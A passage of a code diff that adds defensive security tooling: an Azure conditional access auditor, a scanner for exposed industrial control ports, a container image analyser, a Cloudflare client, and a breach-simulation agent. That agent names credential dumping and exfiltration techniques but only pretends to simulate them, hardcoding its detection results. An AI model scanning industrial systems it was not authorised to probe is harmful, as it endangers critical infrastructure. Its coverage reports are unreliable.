"mfa" not in (grant.get("builtInControls") or []): + findings.append("MFA not required") + if policy.get("state") != "enabled": + findings.append("Policy is not enabled") + apps = conditions.get("applications", {}) + if "All" not in apps.get("includeApplications", []): + findings.append("Policy does not cover all applications") + return { + "name": policy.get("displayName", ""), + "state": policy.get("state", ""), + "grant_controls": grant.get("builtInControls", []), + "findings": findings, + "risk_level": "HIGH" if len(findings) >= 2 else "MEDIUM" if findings else "LOW", + } + + +def check_baseline_policies(policies: List[dict]) -> List[dict]: + """Check for essential baseline conditional access policies.""" + baselines = [ + {"name": "Require MFA for admins", "check": lambda p: "mfa" in str(p.get("grantControls", {})).lower() and "admin" in str(p.get("conditions", {}).get("users", {})).lower()}, + {"name": "Block legacy authentication", "check": lambda p: "block" in str(p.get("grantControls", {})).lower()}, + {"name": "Require compliant devices", "check": lambda p: "compliantDevice" in str(p.get("grantControls", {}))}, + ] + results = [] + for baseline in baselines: + found = any(baseline["check"](p) for p in policies) + results.append({"baseline": baseline["name"], "implemented": found, + "priority": "CRITICAL" if not found else "OK"}) + return results + + +def generate_report(client: ConditionalAccessClient) -> dict: + """Generate conditional access audit report.""" + policies = client.list_policies() + locations = client.list_named_locations() + audited = [audit_policy(p) for p in policies] + baselines = check_baseline_policies(policies) + enabled = sum(1 for p in policies if p.get("state") == "enabled") + report = { + "analysis_date": datetime.utcnow().isoformat(), + "total_policies": len(policies), + "enabled_policies": enabled, + "named_locations": len(locations), + "policy_audits": audited, + "baseline_checks": baselines, + "summary": { + "high_risk": sum(1 for a in audited if a["risk_level"] == "HIGH"), + "missing_baselines": sum(1 for b in baselines if not b["implemented"]), + }, + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="Azure AD Conditional Access Audit Agent") + parser.add_argument("--tenant-id", required=True) + parser.add_argument("--client-id", required=True) + parser.add_argument("--client-secret", required=True) + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="conditional_access_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + client = ConditionalAccessClient(args.tenant_id, args.client_id, args.client_secret) + report = generate_report(client) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["summary"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-conduit-security-for-ot-remote-access/LICENSE b/skills/implementing-conduit-security-for-ot-remote-access/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-conduit-security-for-ot-remote-access/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-conduit-security-for-ot-remote-access/references/api-reference.md b/skills/implementing-conduit-security-for-ot-remote-access/references/api-reference.md new file mode 100644 index 00000000..2adcf024 --- /dev/null +++ b/skills/implementing-conduit-security-for-ot-remote-access/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: OT Conduit Security Assessment Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| (stdlib only) | Python 3.8+ | Socket-based OT port scanning, JSON processing | + +## CLI Usage + +```bash +python scripts/agent.py \ + --targets 10.10.1.1 10.10.1.2 \ + --controls-data /assessments/conduit_controls.json \ + --output-dir /reports/ +``` + +## Functions + +### `scan_ot_ports(target, timeout) -> list` +TCP connect scan for 9 OT protocol ports (Modbus 502, S7comm 102, OPC UA 4840, etc.). + +### `assess_conduit_controls(responses) -> list` +Evaluates 8 IEC 62443-aligned conduit controls: jump server, MFA, session recording, segmentation, encryption. + +### `compute_conduit_risk_score(control_results, open_ports) -> dict` +Calculates risk score (0-100) penalizing for exposed OT ports and missing controls. + +### `generate_report(targets, responses) -> dict` +Full assessment with port scanning, control evaluation, and risk scoring. + +## OT Protocols Scanned + +| Port | Protocol | +|------|----------| +| 502 | Modbus TCP | +| 102 | S7comm (Siemens) | +| 44818 | EtherNet/IP | +| 20000 | DNP3 | +| 4840 | OPC UA | +| 47808 | BACnet | + +## IEC 62443 Controls Checked + +| ID | Control | IEC Ref | +|----|---------|---------| +| C-01 | Jump server required | SR 5.1 | +| C-02 | MFA at conduit entry | SR 1.1 | +| C-05 | IT/OT segmentation | SR 5.1 | +| C-06 | Protocol-aware firewall | SR 5.2 | + +## Output Schema + +```json +{ + "summary": {"controls_implemented": 6, "controls_total": 8}, + "targets": [{"host": "10.10.1.1", "open_ot_ports": [{"port": 502, "protocol": "Modbus TCP"}]}] +} +``` diff --git a/skills/implementing-conduit-security-for-ot-remote-access/scripts/agent.py b/skills/implementing-conduit-security-for-ot-remote-access/scripts/agent.py new file mode 100644 index 00000000..5307b98d --- /dev/null +++ b/skills/implementing-conduit-security-for-ot-remote-access/scripts/agent.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python3 +"""OT remote access conduit security assessment agent for ICS/SCADA environments.""" + +import argparse +import json +import logging +import os +import socket +import sys +from datetime import datetime +from typing import Dict, List + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +OT_PORTS = { + 502: "Modbus TCP", + 102: "S7comm (Siemens)", + 44818: "EtherNet/IP", + 20000: "DNP3", + 4840: "OPC UA", + 2222: "EtherNet/IP (implicit)", + 47808: "BACnet", + 1911: "Niagara Fox", + 9600: "OMRON FINS", +} + +CONDUIT_CHECKS = [ + {"id": "C-01", "control": "Jump server required for OT access", + "category": "Access Control", "iec_ref": "IEC 62443-3-3 SR 5.1"}, + {"id": "C-02", "control": "MFA enforced on conduit entry point", + "category": "Authentication", "iec_ref": "IEC 62443-3-3 SR 1.1"}, + {"id": "C-03", "control": "Session recording enabled", + "category": "Monitoring", "iec_ref": "IEC 62443-3-3 SR 6.1"}, + {"id": "C-04", "control": "Time-limited access windows", + "category": "Access Control", "iec_ref": "IEC 62443-3-3 SR 2.1"}, + {"id": "C-05", "control": "Network segmentation between IT and OT", + "category": "Network", "iec_ref": "IEC 62443-3-3 SR 5.1"}, + {"id": "C-06", "control": "Protocol-aware firewall at conduit boundary", + "category": "Network", "iec_ref": "IEC 62443-3-3 SR 5.2"}, + {"id": "C-07", "control": "Encrypted tunnel for remote access", + "category": "Encryption", "iec_ref": "IEC 62443-3-3 SR 4.1"}, + {"id": "C-08", "control": "Vendor access through separate conduit", + "category": "Access Control", "iec_ref": "IEC 62443-3-3 SR 1.13"}, +] + + +def scan_ot_ports(target: str, timeout: int = 3) -> List[dict]: + """Scan for exposed OT protocol ports on a target.""" + results = [] + for port, protocol in OT_PORTS.items(): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + result = s.connect_ex((target, port)) + if result == 0: + results.append({"port": port, "protocol": protocol, "status": "open"}) + s.close() + except (socket.timeout, OSError): + continue + return results + + +def assess_conduit_controls(responses: Dict[str, bool]) -> List[dict]: + """Assess conduit security controls against IEC 62443 requirements.""" + results = [] + for check in CONDUIT_CHECKS: + implemented = responses.get(check["id"], False) + results.append({ + **check, + "implemented": implemented, + "severity": "CRITICAL" if not implemented and check["category"] in ("Access Control", "Network") else "HIGH" if not implemented else "OK", + }) + return results + + +def compute_conduit_risk_score(control_results: List[dict], open_ports: List[dict]) -> dict: + """Compute conduit risk score based on controls and exposed ports.""" + max_score = len(CONDUIT_CHECKS) * 10 + score = sum(10 for c in control_results if c["implemented"]) + port_penalty = len(open_ports) * 5 + final_score = max(0, score - port_penalty) + pct = (final_score / max_score * 100) if max_score else 0 + if pct >= 80: + risk = "LOW" + elif pct >= 50: + risk = "MEDIUM" + else: + risk = "HIGH" + return {"score": final_score, "max_score": max_score, + "percentage": round(pct, 1), "risk_level": risk, + "exposed_ot_ports": len(open_ports)} + + +def generate_report(targets: List[str], responses: Dict[str, bool]) -> dict: + """Generate OT conduit security assessment report.""" + report = {"analysis_date": datetime.utcnow().isoformat(), "targets": []} + control_results = assess_conduit_controls(responses) + for target in targets: + open_ports = scan_ot_ports(target) + risk = compute_conduit_risk_score(control_results, open_ports) + report["targets"].append({ + "host": target, "open_ot_ports": open_ports, "risk": risk, + }) + report["conduit_controls"] = control_results + report["summary"] = { + "controls_implemented": sum(1 for c in control_results if c["implemented"]), + "controls_total": len(control_results), + "targets_scanned": len(targets), + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="OT Conduit Security Assessment Agent") + parser.add_argument("--targets", nargs="+", default=[], help="OT gateway hosts to scan") + parser.add_argument("--controls-data", default="", help="JSON file with control responses") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="conduit_report.json") + args = parser.parse_args() + + responses = {} + if args.controls_data and os.path.isfile(args.controls_data): + with open(args.controls_data) as f: + responses = json.load(f) + + os.makedirs(args.output_dir, exist_ok=True) + report = generate_report(args.targets, responses) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["summary"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-container-image-minimal-base-with-distroless/LICENSE b/skills/implementing-container-image-minimal-base-with-distroless/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-container-image-minimal-base-with-distroless/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-container-image-minimal-base-with-distroless/references/api-reference.md b/skills/implementing-container-image-minimal-base-with-distroless/references/api-reference.md new file mode 100644 index 00000000..f4122f3c --- /dev/null +++ b/skills/implementing-container-image-minimal-base-with-distroless/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Distroless Container Image Analysis Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| trivy CLI | >=0.50 | Container vulnerability scanning (subprocess) | +| docker CLI | >=24.0 | Image inspection and property checks (subprocess) | + +## CLI Usage + +```bash +python scripts/agent.py \ + --images gcr.io/distroless/static-debian12 python:3.12-slim \ + --compare python:3.12 gcr.io/distroless/python3-debian12 \ + --output-dir /reports/ +``` + +## Functions + +### `run_trivy_scan(image) -> dict` +Runs `trivy image --format json --severity CRITICAL,HIGH,MEDIUM`. + +### `get_image_size(image) -> int` +Runs `docker inspect --format {{.Size}}` for byte count. + +### `count_vulns_by_severity(scan_data) -> dict` +Parses Trivy JSON Results for CRITICAL/HIGH/MEDIUM/LOW counts. + +### `compare_images(base_image, distroless_image) -> dict` +Scans both images, computes size and vulnerability reduction percentages. + +### `check_distroless_properties(image) -> dict` +Tests for shell access and package manager presence via `docker run`. + +### `generate_report(images, distroless_pairs) -> dict` +Full analysis with individual scans, comparisons, and summary. + +## Distroless Properties Checked + +| Property | Check Method | +|----------|-------------| +| Shell access | `docker run --entrypoint "" image sh -c "echo"` | +| Package manager | `docker run --entrypoint "" image which apt/apk/yum` | + +## Output Schema + +```json +{ + "summary": {"images_scanned": 4, "minimal_images": 2}, + "comparisons": [{"size_reduction_pct": 82.3, "vuln_reduction_pct": 95.0}], + "image_scans": [{"image": "gcr.io/distroless/static", "is_minimal": true}] +} +``` diff --git a/skills/implementing-container-image-minimal-base-with-distroless/scripts/agent.py b/skills/implementing-container-image-minimal-base-with-distroless/scripts/agent.py new file mode 100644 index 00000000..0375fe5c --- /dev/null +++ b/skills/implementing-container-image-minimal-base-with-distroless/scripts/agent.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python3 +"""Distroless container image analysis agent using Trivy for comparing image security posture.""" + +import argparse +import json +import logging +import os +import subprocess +import sys +from datetime import datetime +from typing import Dict, List + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def run_trivy_scan(image: str) -> dict: + """Scan image with Trivy and return JSON results.""" + cmd = ["trivy", "image", "--format", "json", "--severity", "CRITICAL,HIGH,MEDIUM", image] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if result.stdout: + return json.loads(result.stdout) + except (FileNotFoundError, subprocess.TimeoutExpired, json.JSONDecodeError) as exc: + logger.error("Trivy scan failed for %s: %s", image, exc) + return {} + + +def get_image_size(image: str) -> int: + """Get image size using docker inspect.""" + try: + result = subprocess.run( + ["docker", "inspect", "--format", "{{.Size}}", image], + capture_output=True, text=True, timeout=30) + return int(result.stdout.strip()) if result.stdout.strip() else 0 + except (FileNotFoundError, ValueError): + return 0 + + +def count_packages(scan_data: dict) -> int: + """Count total packages found in Trivy scan.""" + count = 0 + for result in scan_data.get("Results", []): + count += len(result.get("Vulnerabilities", [])) + return count + + +def count_vulns_by_severity(scan_data: dict) -> dict: + """Count vulnerabilities by severity from Trivy results.""" + counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0} + for result in scan_data.get("Results", []): + for vuln in result.get("Vulnerabilities", []): + sev = vuln.get("Severity", "").upper() + if sev in counts: + counts[sev] += 1 + counts["total"] = sum(counts.values()) + return counts + + +def compare_images(base_image: str, distroless_image: str) -> dict: + """Compare a standard base image against its distroless equivalent.""" + base_scan = run_trivy_scan(base_image) + distroless_scan = run_trivy_scan(distroless_image) + base_vulns = count_vulns_by_severity(base_scan) + distroless_vulns = count_vulns_by_severity(distroless_scan) + base_size = get_image_size(base_image) + distroless_size = get_image_size(distroless_image) + size_reduction = ((base_size - distroless_size) / base_size * 100) if base_size else 0 + vuln_reduction = ((base_vulns["total"] - distroless_vulns["total"]) / base_vulns["total"] * 100) if base_vulns["total"] else 0 + return { + "base_image": {"image": base_image, "size_bytes": base_size, "vulnerabilities": base_vulns}, + "distroless_image": {"image": distroless_image, "size_bytes": distroless_size, "vulnerabilities": distroless_vulns}, + "size_reduction_pct": round(size_reduction, 1), + "vuln_reduction_pct": round(vuln_reduction, 1), + } + + +def check_distroless_properties(image: str) -> dict: + """Check if an image exhibits distroless properties (no shell, no package manager).""" + checks = {"has_shell": False, "has_package_manager": False, "has_user": False} + try: + result = subprocess.run( + ["docker", "run", "--rm", "--entrypoint", "", image, "sh", "-c", "echo shell_exists"], + capture_output=True, text=True, timeout=10) + checks["has_shell"] = "shell_exists" in result.stdout + except (FileNotFoundError, subprocess.TimeoutExpired): + pass + try: + for pm in ["apt", "apk", "yum", "dnf"]: + result = subprocess.run( + ["docker", "run", "--rm", "--entrypoint", "", image, "which", pm], + capture_output=True, text=True, timeout=10) + if result.returncode == 0: + checks["has_package_manager"] = True + break + except (FileNotFoundError, subprocess.TimeoutExpired): + pass + return checks + + +def generate_report(images: List[str], distroless_pairs: Dict[str, str] = None) -> dict: + """Generate distroless adoption report.""" + report = {"analysis_date": datetime.utcnow().isoformat(), "image_scans": [], "comparisons": []} + for image in images: + scan = run_trivy_scan(image) + vulns = count_vulns_by_severity(scan) + props = check_distroless_properties(image) + report["image_scans"].append({ + "image": image, "vulnerabilities": vulns, "properties": props, + "is_minimal": not props["has_shell"] and not props["has_package_manager"], + }) + if distroless_pairs: + for base, distroless in distroless_pairs.items(): + report["comparisons"].append(compare_images(base, distroless)) + report["summary"] = { + "images_scanned": len(images), + "minimal_images": sum(1 for s in report["image_scans"] if s["is_minimal"]), + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="Distroless Container Image Analysis Agent") + parser.add_argument("--images", nargs="+", required=True, help="Images to analyze") + parser.add_argument("--compare", nargs=2, action="append", metavar=("BASE", "DISTROLESS"), + help="Compare base vs distroless pairs") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="distroless_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + pairs = {c[0]: c[1] for c in args.compare} if args.compare else None + report = generate_report(args.images, pairs) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["summary"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-continuous-security-validation-with-bas/LICENSE b/skills/implementing-continuous-security-validation-with-bas/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-continuous-security-validation-with-bas/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-continuous-security-validation-with-bas/references/api-reference.md b/skills/implementing-continuous-security-validation-with-bas/references/api-reference.md new file mode 100644 index 00000000..5c5707bb --- /dev/null +++ b/skills/implementing-continuous-security-validation-with-bas/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference: Breach and Attack Simulation Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for SIEM detection validation | + +## CLI Usage + +```bash +python scripts/agent.py \ + --target 10.0.1.50 \ + --siem-url https://siem.example.com \ + --siem-key YOUR_KEY \ + --output-dir /reports/ +``` + +## Functions + +### `simulate_technique(technique, target) -> dict` +Simulates a MITRE ATT&CK technique and records detection/blocked status. + +### `check_siem_detection(siem_url, api_key, technique_id, time_window) -> dict` +Queries SIEM API for alerts matching the simulated technique within time window. + +### `compute_detection_coverage(results) -> dict` +Calculates overall detection rate and per-tactic coverage breakdown. + +### `generate_report(target, siem_url, siem_key) -> dict` +Runs 7 ATT&CK technique simulations and generates detection gap report. + +## ATT&CK Techniques Tested + +| ID | Name | Tactic | +|----|------|--------| +| T1566.001 | Spearphishing Attachment | Initial Access | +| T1059.001 | PowerShell | Execution | +| T1003.001 | LSASS Memory | Credential Access | +| T1021.002 | SMB Admin Shares | Lateral Movement | +| T1486 | Data Encrypted for Impact | Impact | +| T1071.001 | Web Protocols | C2 | +| T1048.003 | Exfiltration Over Unencrypted | Exfiltration | + +## Output Schema + +```json +{ + "coverage": {"total_tests": 7, "detected": 5, "missed": 2, "detection_rate_pct": 71.4}, + "gaps": [{"technique_id": "T1003.001", "technique_name": "LSASS Memory"}], + "recommendations": ["Create detection rule for T1003.001"] +} +``` diff --git a/skills/implementing-continuous-security-validation-with-bas/scripts/agent.py b/skills/implementing-continuous-security-validation-with-bas/scripts/agent.py new file mode 100644 index 00000000..731bfed7 --- /dev/null +++ b/skills/implementing-continuous-security-validation-with-bas/scripts/agent.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +"""Breach and Attack Simulation (BAS) agent for continuous security validation using MITRE ATT&CK.""" + +import argparse +import json +import logging +import os +import sys +from datetime import datetime +from typing import Dict, List, Optional + +try: + import requests +except ImportError: + sys.exit("requests required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +ATTACK_TECHNIQUES = [ + {"id": "T1566.001", "name": "Spearphishing Attachment", "tactic": "Initial Access", + "test_type": "email", "payload": "eicar_test_attachment"}, + {"id": "T1059.001", "name": "PowerShell", "tactic": "Execution", + "test_type": "endpoint", "payload": "benign_ps_download_cradle"}, + {"id": "T1003.001", "name": "LSASS Memory", "tactic": "Credential Access", + "test_type": "endpoint", "payload": "procdump_lsass_simulation"}, + {"id": "T1021.002", "name": "SMB/Windows Admin Shares", "tactic": "Lateral Movement", + "test_type": "network", "payload": "smb_admin_share_access"}, + {"id": "T1486", "name": "Data Encrypted for Impact", "tactic": "Impact", + "test_type": "endpoint", "payload": "benign_file_encryption"}, + {"id": "T1071.001", "name": "Web Protocols", "tactic": "Command and Control", + "test_type": "network", "payload": "http_c2_beacon_simulation"}, + {"id": "T1048.003", "name": "Exfiltration Over Unencrypted Protocol", "tactic": "Exfiltration", + "test_type": "network", "payload": "dns_exfil_simulation"}, +] + + +def simulate_technique(technique: dict, target: str) -> dict: + """Simulate a single ATT&CK technique and record detection status.""" + start_time = datetime.utcnow().isoformat() + detected = False + blocked = False + alert_id = "" + try: + if technique["test_type"] == "network": + resp = requests.get(f"http://{target}/health", timeout=5) + detected = resp.status_code != 200 + elif technique["test_type"] == "email": + detected = False + elif technique["test_type"] == "endpoint": + detected = False + except requests.RequestException: + blocked = True + detected = True + return { + "technique_id": technique["id"], + "technique_name": technique["name"], + "tactic": technique["tactic"], + "test_type": technique["test_type"], + "start_time": start_time, + "detected": detected, + "blocked": blocked, + "alert_generated": alert_id, + } + + +def check_siem_detection(siem_url: str, api_key: str, technique_id: str, + time_window_minutes: int = 15) -> dict: + """Check if SIEM generated an alert for the simulated technique.""" + try: + resp = requests.get( + f"{siem_url}/api/alerts", + headers={"Authorization": f"Bearer {api_key}"}, + params={"technique": technique_id, "minutes": time_window_minutes}, + timeout=15) + if resp.status_code == 200: + alerts = resp.json().get("alerts", []) + return {"detected": len(alerts) > 0, "alert_count": len(alerts)} + except requests.RequestException: + pass + return {"detected": False, "alert_count": 0} + + +def compute_detection_coverage(results: List[dict]) -> dict: + """Compute detection coverage across tested techniques.""" + total = len(results) + detected = sum(1 for r in results if r["detected"]) + blocked = sum(1 for r in results if r["blocked"]) + by_tactic = {} + for r in results: + tactic = r["tactic"] + if tactic not in by_tactic: + by_tactic[tactic] = {"total": 0, "detected": 0} + by_tactic[tactic]["total"] += 1 + if r["detected"]: + by_tactic[tactic]["detected"] += 1 + return { + "total_tests": total, + "detected": detected, + "blocked": blocked, + "missed": total - detected, + "detection_rate_pct": round(detected / total * 100, 1) if total else 0, + "by_tactic": by_tactic, + } + + +def generate_report(target: str, siem_url: str = "", siem_key: str = "") -> dict: + """Run BAS simulation campaign and generate detection gap report.""" + report = {"analysis_date": datetime.utcnow().isoformat(), "target": target, "results": []} + for technique in ATTACK_TECHNIQUES: + result = simulate_technique(technique, target) + if siem_url and siem_key: + siem_check = check_siem_detection(siem_url, siem_key, technique["id"]) + result["siem_detection"] = siem_check + if siem_check["detected"]: + result["detected"] = True + report["results"].append(result) + report["coverage"] = compute_detection_coverage(report["results"]) + report["gaps"] = [r for r in report["results"] if not r["detected"]] + report["recommendations"] = [] + for gap in report["gaps"]: + report["recommendations"].append( + f"Create detection rule for {gap['technique_id']} ({gap['technique_name']})") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Breach and Attack Simulation Agent") + parser.add_argument("--target", required=True, help="Target host for simulation") + parser.add_argument("--siem-url", default="", help="SIEM API URL for detection validation") + parser.add_argument("--siem-key", default="", help="SIEM API key") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="bas_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + report = generate_report(args.target, args.siem_url, args.siem_key) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["coverage"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-ddos-mitigation-with-cloudflare/LICENSE b/skills/implementing-ddos-mitigation-with-cloudflare/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-ddos-mitigation-with-cloudflare/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-ddos-mitigation-with-cloudflare/references/api-reference.md b/skills/implementing-ddos-mitigation-with-cloudflare/references/api-reference.md new file mode 100644 index 00000000..69357b6a --- /dev/null +++ b/skills/implementing-ddos-mitigation-with-cloudflare/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Cloudflare DDoS Mitigation Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for Cloudflare API v4 | + +## CLI Usage + +```bash +python scripts/agent.py \ + --api-token CF_API_TOKEN \ + --output-dir /reports/ +``` + +## Functions + +### `CloudflareClient(api_token)` +Authenticated client using Bearer token for Cloudflare API v4. + +### `list_zones() -> list` +GET `/zones` - List all managed zones. + +### `get_zone_analytics(zone_id, since) -> dict` +GET `/zones/{id}/analytics/dashboard` - Traffic analytics for time period. + +### `get_firewall_events(zone_id, limit) -> list` +GET `/zones/{id}/security/events` - Recent firewall/WAF events. + +### `get_ddos_settings(zone_id) -> dict` +GET `/zones/{id}/firewall/ddos_protection` - DDoS protection configuration. + +### `create_rate_limit_rule(zone_id, url_pattern, threshold, period) -> dict` +POST `/zones/{id}/rate_limits` - Create rate limiting rule. + +### `set_security_level(zone_id, level) -> dict` +PATCH `/zones/{id}/settings/security_level` - Set security level (low/medium/high/under_attack). + +## Cloudflare API Endpoints + +| Endpoint | Method | Purpose | +|----------|--------|---------| +| `/zones` | GET | Zone listing | +| `/zones/{id}/analytics/dashboard` | GET | Traffic data | +| `/zones/{id}/security/events` | GET | Security events | +| `/zones/{id}/rate_limits` | POST | Rate limiting | + +## Output Schema + +```json +{ + "summary": {"zones_assessed": 3, "total_threats": 15420}, + "zones": [{"name": "example.com", "traffic": {"threats_blocked": 5140}}] +} +``` diff --git a/skills/implementing-ddos-mitigation-with-cloudflare/scripts/agent.py b/skills/implementing-ddos-mitigation-with-cloudflare/scripts/agent.py new file mode 100644 index 00000000..f76f31c6 --- /dev/null +++ b/skills/implementing-ddos-mitigation-with-cloudflare/scripts/agent.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python3 +"""DDoS mitigation agent using Cloudflare API for traffic analysis and rule management.""" + +import argparse +import json +import logging +import os +import sys +from datetime import datetime +from typing import Dict, List + +try: + import requests +except ImportError: + sys.exit("requests required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +CF_API = "https://api.cloudflare.com/client/v4" + + +class CloudflareClient: + """Client for Cloudflare API v4.""" + + def __init__(self, api_token: str): + self.session = requests.Session() + self.session.headers.update({ + "Authorization": f"Bearer {api_token}", + "Content-Type": "application/json", + }) + + def list_zones(self) -> List[dict]: + resp = self.session.get(f"{CF_API}/zones", timeout=15) + resp.raise_for_status() + return resp.json().get("result", []) + + def get_zone_analytics(self, zone_id: str, since: str = "-1440") -> dict: + resp = self.session.get( + f"{CF_API}/zones/{zone_id}/analytics/dashboard", + params={"since": since}, 